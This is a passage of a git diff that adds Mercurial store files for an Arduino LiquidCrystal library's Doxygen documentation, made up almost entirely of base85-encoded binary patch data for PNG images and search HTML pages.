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 literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/docs/html/nav__f.png.i b/libraries/NewliquidCrystal/.hg/store/data/docs/html/nav__f.png.i new file mode 100644 index 0000000000000000000000000000000000000000..16013bb00b0fe216d1b079b17365c72a83139102 GIT binary patch literal 224 zcmZQzWME`~fCWHmK9nu-9}3)!j}*-7TBye({`vER_rbAjS)%`-YQR)!XMmqOFP9V- zkjLxk;SvO-K?YiIFagQUOsu$8VjR yo}1p}$3~Mn{%l?HK0b7R&%PPw|E=ykA?zWca5s0#hN(as89ZJ6T-G@yGywoxV^bdh literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/docs/html/nav__h.png.i b/libraries/NewliquidCrystal/.hg/store/data/docs/html/nav__h.png.i new file mode 100644 index 0000000000000000000000000000000000000000..ec13f36dfcc94ad1bf4d90e81f2864ae2bbd3955 GIT binary patch literal 162 zcmZQzWME`~fFvN52xUwBhXTJRF5cc+zW%ZC?0Jk?hc>)%blD131Exwl1N_{1xum#& zJYG)^mmnYwGLVOZ2}tU^bO4eJ8lEnWAr*{o?{4H|FyLW!+-tPqVCc5#+~SJaGIvD0 iidL;>Y@QeO_dmn2e3te<0x#x*G;z7R1+^!B9eVkg;d~6wk;4oBe*zlB;OXk;vd$@? F2>_;{IFJAU literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/docs/html/search/all__5f.html.i b/libraries/NewliquidCrystal/.hg/store/data/docs/html/search/all__5f.html.i new file mode 100644 index 0000000000000000000000000000000000000000..d088115a5d83676d8a151f901d14dda3c8d83460 GIT binary patch literal 1804 zcmXw&c{~#g7{^B_Lvsw{6=9B=n=&Czyy^b6?av!-8a=nfa zk?h@umZRKvV#J%?-rwi>Jip)P^E`ike*h)`6X2Il{0RU6JO0Z6$kA_+Wg#i1i|`5M zud#_5d9adzGeLpBe|{M*t3D0uLp1O(CN9@K!GS277Lt{LghA3!j_co zi!@)j=mFwB{4oTPAz4POm!>9aWofL%4)6by&DYx8DyDcC_E(}s<-N`Iy{<_=<6;MN zc$3q>YwSd_Vz}JpNgfxfGwKS;RRzY;C-0$>Pb@O43~wx-^mbjv)Rt$LcjtdACp+Gn zIL#GUphg1wjm2ya${OV|h-#xSnIuaAwpOZ6H@r^G{V0Z`iJS z0dLNnL&6`~2+MqtFxwC{gnNnJX8G=)=Le(e()LA`z$i0`kHCsV@&ze3Qgpv=G0uJQ zQQCM*|M({SJIwPlcVR*0ZrQYl$;VJJmz4MJiwk-KX3Olud6iLqhr56q#YO^@G-rf< z5vl#_)At@z7{Wwx@TkTEsYm6w=lKEl87|Hx%SY~_HB+<64NE<~Iy~ssA%`lH(teB= z0?E(E|7l4nIycEgs?yW2fBKJAy(U;>9ipiOc&~V)`l{EEeK5&pZr^9eKeM&cv?|bz z;S!2keW0^bR#=*Q+d0EZmG7%^0;!~=?c_Fd^+*SlU2FI@{WPK7hRs2ifgk3*!4$Q4 zU0YDi_G)23ZvO6AZXcm1CWxzhWW2@V26f&$q-?%aXvNVZTn6~Ih|Xwg<36!O!25T# zU$VEyDnobLv4l)wpXV3NuiNpZZ`bOdbtHz-s;=j8lFbN)8gN|r|d zk(|Pel9xDK4s3)+PRlSOra;dwUkYU!JRO>Fa#^3dXb2Z1cBB!Qbz{xdRaq_Fg`tB2 zXQp1_t9g@%CzJ5xI6N7TCvRxe2f139oZcn}{$T02@3pEFOn(T-q#Y)3w^(nP+Y)A+ zLZ-kUMP{qI8sj&eCd&_4l3xgqmqS-}_52&Oh4j`q^JNU*pi8L6mh(`3?Stx^$7SR< z(^Svb616{=Io(hK20l{)VQu-11vbS<@nrFHclE#Y*1&?25mi1xFX$l3&GX(6nF>pf zSKbvFNTcrwt>H{VpE7ojt90By0DxHl0N_+TPCq4bypD_5hEYF~lx=YqG7yaGX|+xtQ1ares#8-X2^i zy)(Vw@0ZmqPYWXZ>pL}phHo_!d@WM#R)#Dq>m~rfOiV!YuOU zp@e0(?PzAm2|5L|wz=8I8uf~LP&$sQrjqy*)ToVix0!oyb72T3|5kyK59OORBr<>1klJv*`y zYXHo_!5aSvH&{3lal&*Sog&vO3LP#rmJ8;OC8By9pTZ?cF3hSi=}D&^6W!yHC4=kl zmM`yzXxa^~t_3|ExCy|tZYV@Z3JOejc4Dj_a&WZB3G*P$iCKsg4cIxnu;gEkZqP9$ zjczk9G16?-Jl4GQ=c2~3QInuMY!IR~wMZUvpn8NXE*qhV zNt+?pEP(mMKZ-**F5*JUhxx+i5D2hUA^Rp@-D@o`Ood2)p4G6I%!(0dtJhRp=i z1+wMh&q-w8fHI2<7$rbhCbvILNaOH(Kv(dNbnE53)SkF4%x=L@=b>#7rsvi@ z!=O0q^@y{6d_CwcYHp)s8&NA^8kZv#7|d~D_4%d6MQnf|8Qn1a#4mJ!5T<8iR-{`6 otaH>E2aCf6W0^Pf>ym(O-$IT|i8SXeMGRN@fjNWu8Z5l_UslFkrvLx| literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/docs/html/search/all__61.html.i b/libraries/NewliquidCrystal/.hg/store/data/docs/html/search/all__61.html.i new file mode 100644 index 0000000000000000000000000000000000000000..5f5e24cf47a4ccc7d325756cc632303f2c00447c GIT binary patch literal 1368 zcmYjRYd8}M7~asdDYq!sBe{&UTJDrs4dra=k>;|NbsWtoLM}~GhMi2Op(3VDsF3^p zmf8+WE;$sn%dxQt$z>{2j$=;edCvRe{od#M-hc1=d;lN-2-tw!F#tf}@xL0Nwe|xP zb7<8EjHzX(i&rbArhgaI9z^)z*%)#3o8HeOxp38XiDnwf(5fEkkwxqJV(9XyS2Y*h zU+1)+#l=GpN1ABQkNVW;%jG}J+SW7O{z%YhL4g*|vBe_-t)Lj#fPme1$r5SLTyjr5 zI%TF^z!=TsnL8Re-3~TIhees(V_rJQ-b@(Y9$+R2Yy6c5^{5PvJRW;yrZN*(*kbw_9k>W*dqN=eYL&-Qn-wmU|7KUe&ciZ6-d>1nAY9a?C#7;;-@A(ANO!g;}dQKm#wz#Z2@L}4* z>57YdP%@3?xHL+ShZk2hy}?xt?)JH<&MGMk{NU@4lUhUkZZdp*zrwv1wRcxESh94^ zmzad)h8AtTSB>6b+dqG+eP}x_cs_S7CA+h=s?yDSrdWL++c0?;s#JY+2Yopr5#JMJ zu#A89>RUU9dYpXdG(A56<{W_gBFe0_Xf(MybqBk-%`7LzPPqIgk5P^3 z;V|Z?uQV@0+lU0KEA&i~6#NQp=&O0Q#8^1fc%xFY-BkcjIOwWj2*z4F_eL+MDKO5& z{tg{ww(d1haNqaXhTp+lK}cUACsqEo&Opi9B*0K5eND6(W~9b_5Fx~MF!Uc68} zxwQdfe9F;;w0OkCRV=&xhd6q1)@UdXuF7ejJv-oh_PAU8JEr~JkIRb2*BgpdTWn}z z9KA@QH|Fbx@mfrr4d7u7LgM|1OpE=RAC#v&V+SXxdXwz%M|q5=>90w1FXg65sJqln z!>ug!*mAC>Vp(HoH|3sL9iP^n5}$hrR_;*8`?R^m%8H6*G_~-Bh$%`WY6~~tT%hy( z#rJS2x0SML#}6d#Tb<*4e2K?O_)EBG%qIytn^HcoDI$veE+_7G38Pl`>T2NCC_5b&_Xics zD}VYFIOp!L7f*8@p%(YPi8$2xVwFF;sb zHQvEVA)2`45NG;QPKMn%H@17Y4?;!w_xKuksvTUt=P)V3BiqHG8h?Q7K&abu|83X% zGF4PT$ti?QQre)^w4)XG5W?yYkdoCzVMm2Vh#-ID6jV28zU)kYwr$59?ZOfk63)B- zLZL20#m~dJ{$v(GUKl2H0QYZeDwsjZhd0bO88ly~@;R=(kAczdMmbMh5_X)gf11h> UV8WC|F&*@0rE5UsUVq(x0C&-aT>t<8 literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/docs/html/search/all__62.html.i b/libraries/NewliquidCrystal/.hg/store/data/docs/html/search/all__62.html.i new file mode 100644 index 0000000000000000000000000000000000000000..d61553d19ae26223497df91ab38274f5a911757c GIT binary patch literal 3870 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 